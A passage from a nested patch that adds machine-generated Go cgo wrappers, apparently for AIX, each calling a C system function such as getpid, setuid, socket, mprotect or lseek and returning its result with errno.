-+func callgetpgrp() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpgrp())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetppid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getppid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpriority(which int, who int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpriority(C.int(which), C.int(who)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrusage(who int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getrusage(C.int(who), C.uintptr_t(rusage)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsid(pid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsid(C.int(pid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callkill(pid int, sig int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.kill(C.int(pid), C.int(sig)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsyslog(typ int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.syslog(C.int(typ), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdir(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mkdir(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdirat(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mkdirat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkfifo(_p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mkfifo(C.uintptr_t(_p0), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknod(_p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mknod(C.uintptr_t(_p0), C.uint(mode), C.int(dev)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknodat(dirfd int, _p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mknodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(dev)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnanosleep(time uintptr, leftover uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.nanosleep(C.uintptr_t(time), C.uintptr_t(leftover)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopen64(_p0 uintptr, mode int, perm uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.open64(C.uintptr_t(_p0), C.int(mode), C.uint(perm)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopenat(dirfd int, _p0 uintptr, flags int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.openat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callread(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.read(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callreadlink(_p0 uintptr, _p1 uintptr, _lenp1 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.readlink(C.uintptr_t(_p0), C.uintptr_t(_p1), C.size_t(_lenp1)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrenameat(olddirfd int, _p0 uintptr, newdirfd int, _p1 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.renameat(C.int(olddirfd), C.uintptr_t(_p0), C.int(newdirfd), C.uintptr_t(_p1)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetdomainname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setdomainname(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsethostname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.sethostname(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpgid(pid int, pgid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setpgid(C.int(pid), C.int(pgid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setsid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsettimeofday(tv uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.settimeofday(C.uintptr_t(tv)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetuid(uid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setuid(C.int(uid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgid(uid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setgid(C.int(uid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpriority(which int, who int, prio int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setpriority(C.int(which), C.int(who), C.int(prio)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatx(dirfd int, _p0 uintptr, flags int, mask int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.statx(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.int(mask), C.uintptr_t(stat)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsync() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.sync())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltimes(tms uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.times(C.uintptr_t(tms)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumask(mask int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.umask(C.int(mask)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calluname(buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.uname(C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlink(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.unlink(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlinkat(dirfd int, _p0 uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.unlinkat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callustat(dev int, ubuf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.ustat(C.int(dev), C.uintptr_t(ubuf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwrite(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.write(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup2(oldfd int, newfd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.dup2(C.int(oldfd), C.int(newfd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callposix_fadvise64(fd int, offset int64, length int64, advice int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.posix_fadvise64(C.int(fd), C.longlong(offset), C.longlong(length), C.int(advice)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchown(fd int, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchown(C.int(fd), C.int(uid), C.int(gid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstat(fd int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fstat(C.int(fd), C.uintptr_t(stat)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatat(dirfd int, _p0 uintptr, stat uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fstatat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(stat), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatfs(fd int, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fstatfs(C.int(fd), C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callftruncate(fd int, length int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.ftruncate(C.int(fd), C.longlong(length)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetegid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getegid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgeteuid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.geteuid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getgid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetuid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getuid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllchown(_p0 uintptr, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.lchown(C.uintptr_t(_p0), C.int(uid), C.int(gid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllisten(s int, n int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.listen(C.int(s), C.int(n)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllstat(_p0 uintptr, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.lstat(C.uintptr_t(_p0), C.uintptr_t(stat)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpause() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pause())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpread64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pread64(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0), C.longlong(offset)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpwrite64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pwrite64(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0), C.longlong(offset)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.c_select(C.int(nfd), C.uintptr_t(r), C.uintptr_t(w), C.uintptr_t(e), C.uintptr_t(timeout)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr, sigmask uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pselect(C.int(nfd), C.uintptr_t(r), C.uintptr_t(w), C.uintptr_t(e), C.uintptr_t(timeout), C.uintptr_t(sigmask)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetregid(rgid int, egid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setregid(C.int(rgid), C.int(egid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetreuid(ruid int, euid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setreuid(C.int(ruid), C.int(euid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callshutdown(fd int, how int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.shutdown(C.int(fd), C.int(how)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsplice(rfd int, roff uintptr, wfd int, woff uintptr, len int, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.splice(C.int(rfd), C.uintptr_t(roff), C.int(wfd), C.uintptr_t(woff), C.int(len), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstat(_p0 uintptr, statptr uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.stat(C.uintptr_t(_p0), C.uintptr_t(statptr)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatfs(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.statfs(C.uintptr_t(_p0), C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltruncate(_p0 uintptr, length int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.truncate(C.uintptr_t(_p0), C.longlong(length)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callbind(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.bind(C.int(s), C.uintptr_t(addr), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callconnect(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.connect(C.int(s), C.uintptr_t(addr), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getgroups(C.int(n), C.uintptr_t(list)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setgroups(C.int(n), C.uintptr_t(list)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(val), C.uintptr_t(vallen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(val), C.uintptr_t(vallen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocket(domain int, typ int, proto int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.socket(C.int(domain), C.int(typ), C.int(proto)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocketpair(domain int, typ int, proto int, fd uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.socketpair(C.int(domain), C.int(typ), C.int(proto), C.uintptr_t(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpeername(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpeername(C.int(fd), C.uintptr_t(rsa), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockname(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsockname(C.int(fd), C.uintptr_t(rsa), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrecvfrom(fd int, _p0 uintptr, _lenp0 int, flags int, from uintptr, fromlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.recvfrom(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0), C.int(flags), C.uintptr_t(from), C.uintptr_t(fromlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsendto(s int, _p0 uintptr, _lenp0 int, flags int, to uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.sendto(C.int(s), C.uintptr_t(_p0), C.size_t(_lenp0), C.int(flags), C.uintptr_t(to), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnrecvmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.nrecvmsg(C.int(s), C.uintptr_t(msg), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnsendmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.nsendmsg(C.int(s), C.uintptr_t(msg), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunmap(addr uintptr, length uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.munmap(C.uintptr_t(addr), C.uintptr_t(length)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmadvise(_p0 uintptr, _lenp0 int, advice int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.madvise(C.uintptr_t(_p0), C.size_t(_lenp0), C.int(advice)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmprotect(_p0 uintptr, _lenp0 int, prot int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mprotect(C.uintptr_t(_p0), C.size_t(_lenp0), C.int(prot)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mlock(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlockall(flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mlockall(C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmsync(_p0 uintptr, _lenp0 int, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.msync(C.uintptr_t(_p0), C.size_t(_lenp0), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.munlock(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlockall() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.munlockall())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpipe(p uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pipe(C.uintptr_t(p)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpoll(fds uintptr, nfds int, timeout int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.poll(C.uintptr_t(fds), C.int(nfds), C.int(timeout)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgettimeofday(tv uintptr, tzp uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.gettimeofday(C.uintptr_t(tv), C.uintptr_t(tzp)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltime(t uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.time(C.uintptr_t(t)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutime(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.utime(C.uintptr_t(_p0), C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsystemcfg(label int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsystemcfg(C.int(label)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumount(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.umount(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getrlimit(C.int(resource), C.uintptr_t(rlim)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setrlimit(C.int(resource), C.uintptr_t(rlim)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllseek(fd int, offset int64, whence int) (r1 uintptr, e1 Errno) {
